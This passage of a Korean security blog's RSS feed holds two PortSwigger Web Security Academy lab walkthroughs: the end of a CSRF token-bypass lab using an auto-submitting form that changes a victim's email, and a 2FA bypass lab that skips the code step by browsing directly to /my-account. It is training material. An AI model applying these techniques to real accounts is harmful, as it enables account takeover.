/&gt;method&amp;nbsp;속성은&amp;nbsp;form&amp;nbsp;태그&amp;nbsp;요청&amp;nbsp;메서드를&amp;nbsp;지정합니다.&amp;nbsp;action&amp;nbsp;속성은&amp;nbsp;요청을&amp;nbsp;보낼&amp;nbsp;URL을&amp;nbsp;지정합니다.&amp;nbsp;script&amp;nbsp;태그&amp;nbsp;내부&amp;nbsp;내용의&amp;nbsp;경우&amp;nbsp;id가&amp;nbsp;myForm인&amp;nbsp;요소를&amp;nbsp;가져와&amp;nbsp;submit(),&amp;nbsp;즉&amp;nbsp;제출을&amp;nbsp;하도록&amp;nbsp;처리합니다.&amp;nbsp;script&amp;nbsp;태그를&amp;nbsp;이용하면&amp;nbsp;form&amp;nbsp;데이터를&amp;nbsp;전송할&amp;nbsp;때&amp;nbsp;제출&amp;nbsp;버튼&amp;nbsp;클릭과&amp;nbsp;같이&amp;nbsp;상호작용을&amp;nbsp;하지&amp;nbsp;않아도&amp;nbsp;요청이&amp;nbsp;전송됩니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Store&amp;nbsp;후&amp;nbsp;Deliver&amp;nbsp;exploit&amp;nbsp;to&amp;nbsp;victim을&amp;nbsp;클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eeyso9/dJMcaiqwKsf/SybgUH0Va9NSVDaGtHi0Zk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eeyso9/dJMcaiqwKsf/SybgUH0Va9NSVDaGtHi0Zk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eeyso9/dJMcaiqwKsf/SybgUH0Va9NSVDaGtHi0Zk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feeyso9%2FdJMcaiqwKsf%2FSybgUH0Va9NSVDaGtHi0Zk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;피해자(다른&amp;nbsp;사용자)가&amp;nbsp;이메일&amp;nbsp;변경&amp;nbsp;요청&amp;nbsp;페이로드가&amp;nbsp;삽입된&amp;nbsp;페이지로&amp;nbsp;접속을&amp;nbsp;하게&amp;nbsp;되면서&amp;nbsp;피해자의&amp;nbsp;이메일&amp;nbsp;주소가&amp;nbsp;변경되어&amp;nbsp;랩&amp;nbsp;문제가&amp;nbsp;해결된&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ctxJ4v/dJMcag0vu05/eP9VCJ0B2n7XbTOAUvLCCk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ctxJ4v/dJMcag0vu05/eP9VCJ0B2n7XbTOAUvLCCk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ctxJ4v/dJMcag0vu05/eP9VCJ0B2n7XbTOAUvLCCk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FctxJ4v%2FdJMcag0vu05%2FeP9VCJ0B2n7XbTOAUvLCCk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;exploit&amp;nbsp;페이지에서&amp;nbsp;Access&amp;nbsp;log를&amp;nbsp;클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uNstc/dJMcajbQlzS/V8s6Sm2uUoygXXEKX85sZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uNstc/dJMcajbQlzS/V8s6Sm2uUoygXXEKX85sZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uNstc/dJMcajbQlzS/V8s6Sm2uUoygXXEKX85sZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuNstc%2FdJMcajbQlzS%2FV8s6Sm2uUoygXXEKX85sZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;로그를&amp;nbsp;보면&amp;nbsp;이메일&amp;nbsp;변경&amp;nbsp;요청&amp;nbsp;페이로드가&amp;nbsp;삽입된&amp;nbsp;페이지에&amp;nbsp;피해자가&amp;nbsp;접근했던&amp;nbsp;기록이&amp;nbsp;있는&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/woUOX/dJMcaf8muZb/mqzKvtZeXTnNCaDB88h3GK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/woUOX/dJMcaf8muZb/mqzKvtZeXTnNCaDB88h3GK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/woUOX/dJMcaf8muZb/mqzKvtZeXTnNCaDB88h3GK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwoUOX%2FdJMcaf8muZb%2FmqzKvtZeXTnNCaDB88h3GK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/PortSwigger Web Security Academy</category>
      <category>CSRF</category>
      <category>csrf bypass</category>
      <category>csrf 우회</category>
      <category>Lab: CSRF where token validation depends on request method</category>
      <category>portswigger</category>
      <category>모의해킹</category>
      <category>모의해킹 공부</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/37</guid>
      <comments>https://code000.tistory.com/entry/Lab-CSRF-where-token-validation-depends-on-request-method#entry37comment</comments>
      <pubDate>Fri, 17 Jul 2026 18:58:30 +0900</pubDate>
    </item>
    <item>
      <title>Lab: 2FA simple bypass</title>
      <link>https://code000.tistory.com/entry/Lab-2FA-simple-bypass</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt; 이중 인증을 우회하여 피해자의 계정으로 My account 페이지에 접근하는 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;/b&gt;&lt;span&gt; Burp Suite&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 랩은 이중 인증을 우회할 수 있다고 하며 이미 유효한 유저 이름과 비밀번호를 얻은 상태라고 합니다. 하지만 2FA 인증 코드 가 있어서 접근을 불가능한 상태이며 Carlos의 account 페이지에 접근하여 랩 문제를 해결할 수 있다고 합니다. 이때 계정 정보는 아래와 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자신의 계정:&lt;span style=&quot;color: #ef6f53;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #ef6f53; background-color: #dddddd;&quot;&gt;wiener:peter&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;피해자의 계정:&lt;span style=&quot;color: #ef6f53;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ef6f53; background-color: #dddddd;&quot;&gt; carlos:montoya&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;계정&amp;nbsp;정보를&amp;nbsp;확인하고&amp;nbsp;ACCESS&amp;nbsp;THE&amp;nbsp;LAB을&amp;nbsp;클릭하여&amp;nbsp;랩에&amp;nbsp;접속합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VCuuY/dJMcadivcFa/nX46ovK0MxOA2zADlepKc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VCuuY/dJMcadivcFa/nX46ovK0MxOA2zADlepKc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VCuuY/dJMcadivcFa/nX46ovK0MxOA2zADlepKc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVCuuY%2FdJMcadivcFa%2FnX46ovK0MxOA2zADlepKc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;My&amp;nbsp;account를&amp;nbsp;클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c0ousg/dJMcaijLy7Y/lg1Q49d0fbStuxcmSUAVn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c0ousg/dJMcaijLy7Y/lg1Q49d0fbStuxcmSUAVn1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c0ousg/dJMcaijLy7Y/lg1Q49d0fbStuxcmSUAVn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc0ousg%2FdJMcaijLy7Y%2Flg1Q49d0fbStuxcmSUAVn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자&amp;nbsp;이름과&amp;nbsp;비밀번호를&amp;nbsp;입력하고&amp;nbsp;로그인을&amp;nbsp;시도합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dASBeh/dJMcahLUgtJ/2rPP5WssGUUusKE6cW9FAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dASBeh/dJMcahLUgtJ/2rPP5WssGUUusKE6cW9FAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dASBeh/dJMcahLUgtJ/2rPP5WssGUUusKE6cW9FAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdASBeh%2FdJMcahLUgtJ%2F2rPP5WssGUUusKE6cW9FAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;4자리 숫자 코드를 입력해야 하며 이중 인증을 사용하고 있다는 것을 알 수 있습니다. Email client를 클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dNXh8c/dJMcac4TrkU/Oncbp96NGJ3aYj3TTVm6Qk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dNXh8c/dJMcac4TrkU/Oncbp96NGJ3aYj3TTVm6Qk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dNXh8c/dJMcac4TrkU/Oncbp96NGJ3aYj3TTVm6Qk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdNXh8c%2FdJMcac4TrkU%2FOncbp96NGJ3aYj3TTVm6Qk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Email을 확인해 보면 4자리 숫자 코드를 알 수 있으며 해당 숫자 코드를 복사합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPnhVp/dJMcaiD4UvW/kJOQYDJAWopijpkVu66ny0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPnhVp/dJMcaiD4UvW/kJOQYDJAWopijpkVu66ny0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPnhVp/dJMcaiD4UvW/kJOQYDJAWopijpkVu66ny0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPnhVp%2FdJMcaiD4UvW%2FkJOQYDJAWopijpkVu66ny0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;복사한 4자리 숫자 코드를 숫자 코드 입력하는 곳에 기입합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c4hy7a/dJMcaaziF2R/3p2vnk1Kn2S42h4oAleOI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c4hy7a/dJMcaaziF2R/3p2vnk1Kn2S42h4oAleOI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c4hy7a/dJMcaaziF2R/3p2vnk1Kn2S42h4oAleOI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc4hy7a%2FdJMcaaziF2R%2F3p2vnk1Kn2S42h4oAleOI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정상적으로 로그인되는 것을 볼 수 있고 피해자의 계정으로 로그인을 시도하기 위해 로그아웃을 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJOvhM/dJMcaasw6HY/CukmztnzOBkXJ0ckrW6OL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJOvhM/dJMcaasw6HY/CukmztnzOBkXJ0ckrW6OL0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJOvhM/dJMcaasw6HY/CukmztnzOBkXJ0ckrW6OL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJOvhM%2FdJMcaasw6HY%2FCukmztnzOBkXJ0ckrW6OL0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;피해자의 계정으로 로그인을 시도 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDVCBL/dJMcaic4i8a/6LY9P0bC2DPs374Cxu3vp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDVCBL/dJMcaic4i8a/6LY9P0bC2DPs374Cxu3vp1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDVCBL/dJMcaic4i8a/6LY9P0bC2DPs374Cxu3vp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDVCBL%2FdJMcaic4i8a%2F6LY9P0bC2DPs374Cxu3vp1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;피해자의 계정인 carlos 계정으로 로그인을 했을 때 4자리 숫자 코드를 입력하라고 하며 피해자의 이메일 주소를 모르기 때문에 숫자 코드를 알 수 없는 상황입니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFO7QB/dJMcahrFTvx/r8H9TqE3nPaOCUckVBCOc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFO7QB/dJMcahrFTvx/r8H9TqE3nPaOCUckVBCOc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFO7QB/dJMcahrFTvx/r8H9TqE3nPaOCUckVBCOc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFO7QB%2FdJMcahrFTvx%2Fr8H9TqE3nPaOCUckVBCOc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이때 숫자 코드를 입력하지 않고 URL 입력창에 계정 정보를 볼 수 있는 /my-account 페이지를 입력하고 접근합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/y7yG0/dJMcaalFoTw/zjMxHpaxKDTicbWvV3qnl0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/y7yG0/dJMcaalFoTw/zjMxHpaxKDTicbWvV3qnl0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/y7yG0/dJMcaalFoTw/zjMxHpaxKDTicbWvV3qnl0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fy7yG0%2FdJMcaalFoTw%2FzjMxHpaxKDTicbWvV3qnl0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
